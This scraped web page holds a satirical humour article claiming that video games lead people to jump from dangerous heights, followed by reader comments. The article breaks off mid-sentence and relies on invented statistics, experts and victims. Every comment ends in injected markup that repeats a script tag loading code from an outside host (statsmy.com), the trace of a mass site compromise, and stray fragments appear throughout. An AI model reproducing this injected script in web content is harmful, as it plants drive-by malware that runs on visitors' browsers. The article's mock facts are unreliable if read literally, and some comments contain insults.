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Video games cause people to jump off cliffs
by Kris on 2/11/2003 (19)

This is the situation that poor Bobby Smith recreated. Assuming Mario is a man of average height, we can estimate the distances of this drop to be twelve-thousand feet, or nearly twice the distance from the Earth to the Moon!
For years and years, the video game industry has falsely lead the public to believe that one may jump down any height and walk away unscathed. This trend became most prominent with the introduction of the Nintendo Entertainment System in 1985. Games such as Super Mario Brothers (and subsequent sequels) and Metroid had the title characters falling from heights equivalent to three story buildings and more, all without any sign of injury and a total disregard for the vengeful power of gravity. While the numbers are somewhat rough, it is estimated that mimicking of this behavior lead to nearly seven deaths in the years of 1985 thru 1990. Experts estimate that since that time, this number has most likely doubled, though official falling death statistics are no longer recorded due to the fact that no one cares.

"Most people don't realize how serious a problem this is" claims Dr. Steven McSteven. Dr. McSteven is the founder of Falling Deaths and You (FDU), an organization created to promote awareness of height related injuries and to create a race of giant killer bees which can be used to stop a possible invasion of slightly smaller, yet still deadly, giant killer bees. "There are nearly multiple deaths each year related to people reenacting falls that they have seen in video games and the number of injuries reaches nearly into the double digits! In contrast, other highly dangerous and highly regulated activities such as curing and shoe tying only reach half these numbers combined!"

Case in point, the story of young Bobby Smith. Bobby Smith was an avid video game player. Due to his lack of social skills and a striking resemblance to the elephant man, Bobby's days consisted of eating, sleeping, and video games. Bobby often claimed that he once "killed a Goomba, just to watch it die... and for 100 points". One warm summer day, Bobby put on his special orthopedic shoes and headed out to the local cement block factory. Sneaking in through the sewer pipes, Bobby made his way to the back lot of the cement block factory where the defective cement blocks were placed in the shape of a castle and a right triangle, with a flag pole in the middle to mark this location. Bobby climbed to the top of the triangle, much as Super Mario has done at the end of numerous levels. Bobby then leapt for the flag pole with dreams of seven fireworks and 5000 points. Sadly this dream would never come to fruition. Due to Bobby's tiny chicken legs (he literally had chicken legs due to a rare childhood disease that left him with the legs of a chicken), he was not able to cover the distance and landed several feet short of the flagpole. Upon hitting the ground, he fell victim of a terrible ankle sprain that haunted him for almost a week!

Do not try this at home. A fall like Samus so often takes would kill a normal person.
Another case is the unfortunately story of Timothy Jones. Timothy was never popular at school due to his horrible body odor and his tendency to try to eat the other children. As a release, Timothy turned to the likes of games such as Metroid and Kid Icarus, neither of which he was even remotely good at but he enjoyed them none the less. One day, the neighborhood children tied up Timothy, beat him with baseball bats, and left him for dead in a cav


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Comments

1. by time on 3/1/2007 4:52:29 PM
lol nice kris could to see ur writing again :Dh= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Tyler Dirdon on 3/1/2007 4:52:29 PM
Are you dumb Kris? people don't ACTUALLy believe what the video games are portraying... nobody really thinks that You can jummp 5 stories and be allright. I don't believe eating by bears is real aslo.. i think that you made half the stories up... I can believe the one about the boy jumping towards the tower, but the bear scene is just insane... you should be ashamed of writing lies!n.ru/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Kris on 3/1/2007 4:52:29 PM
I made up no such things. I spend monthes researching each and every article that I write. They are all 100% trueone">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Mikey Smith on 3/1/2007 4:52:29 PM
Dear Mr. Writer Sir, I have suffered a very bad injury after playing Grand Theft Auto Vice City. When my mommy bought it for me, she read the M wrong and thought it was an E. When I started playing, I thought I could take any car and just crash into a police car. Well I decided to take my daddy's mustang on the street and crashed into the police station. After three policemen drew their guns, I ran away, but then one of them shot in me in the back leaving me paralyzed. Tommy Versetti didn't get paralyzed when he got shot, and I thought I had 100hp. I'm so mad at my mommy for buying this game, it isn't like real life at all. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by time on 3/1/2007 4:52:29 PM
tyler who cares if its fake, its humour it isnt spose to be real, its funny so stfunem </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Frost on 3/1/2007 4:52:29 PM
Spell check is your friend. Friend. Frieeeeend. *waves arms creepily*n.ru/t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by on 3/1/2007 4:52:29 PM
The devil has a minion whom likes roses ::nodds to herself as if this completely odd phrase actually made sence to everyone, including herself:: pst...pass it on...? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by person who wrote the comment above on 3/1/2007 4:52:29 PM
Tyler Dirdon , your an ass. ggggrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr!g </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by Mason209 on 3/1/2007 4:52:29 PM
That is soooo true Kris. So true. :Dt </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by Dark Jester on 3/1/2007 4:52:29 PM
I have had a similar occurence Kris. Except some things in video games are true!!!!! i was playing Mario and found out that falling great distances did NOT actually hurt you. then i played GTA Vice City and decided to test it out. Well well well, i jumped from my helicopter and only lsot 20 hp, so of course, with current technoligy we've discovered that heights can cause only minor injuries. So i went down to my local reporting station and took their helicopter our for a spin. unfortunatly i got bored and i couldn't find the reset button inside the helicopter so instead i just jumped out of the helicopter into the gulf of mexico, after my 250 ft drop, i landed in the water and wasn't able to swim!!!! the fall had broken all my bones and i slowly drowned..... unfortunatly my body armor didn't stop the damage from decreasing so i now speak to you through my laptop that i keep in my emergency belt-holster.... what should i do kris????< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by Ty on 3/1/2007 4:52:29 PM
Millions play these games. So explain why millions don't become violent. Seems like some other factors were omittedone" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by wheez on 3/1/2007 4:52:29 PM
Ty ~ Not true. Millions DO play these games, but only 11 of them didn't become violent. I guess you're one of the lucky ones. The rest of us have become killer mutants. Sorry,n.ru/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by on 3/1/2007 4:52:29 PM
"Millions play these games. So explain why millions don't become violent. Seems like some other factors were omitted." You obviosly have no sence of humor.i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by Mars on 3/1/2007 4:52:29 PM
Of COURSE you can't swim, Dark Jester! You'll wake up at the nearest hospital shortly, minus $100, your body armor and your weapons."0" styl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by on 3/1/2007 4:52:29 PM
gfbhfbghbkvjngjkfnbjgjknbjkrnbjknbjgnjnrjnh="0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
16. by john on 3/1/2007 4:52:29 PM
who wrote the random letters"0" sty </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
17. by Kris on 3/1/2007 4:52:29 PM
It wasn't me... or was it? No, it wasn't.h="0" h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
18. by Stupid article on 3/1/2007 4:52:29 PM
Only some retarded person would believe they could do those jumps...theres a BIG difference between a video game and reality!!!i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
19. by Ryley on 3/1/2007 4:52:29 PM
Ya its true, all of you saying no one would be stupid enough to try that? well think again. I have a phd in fallology and i can tell you right off the top of my head that we get more falling victims with red hats and italian mustaches every DAY, then there are chickens in your backyard.uild </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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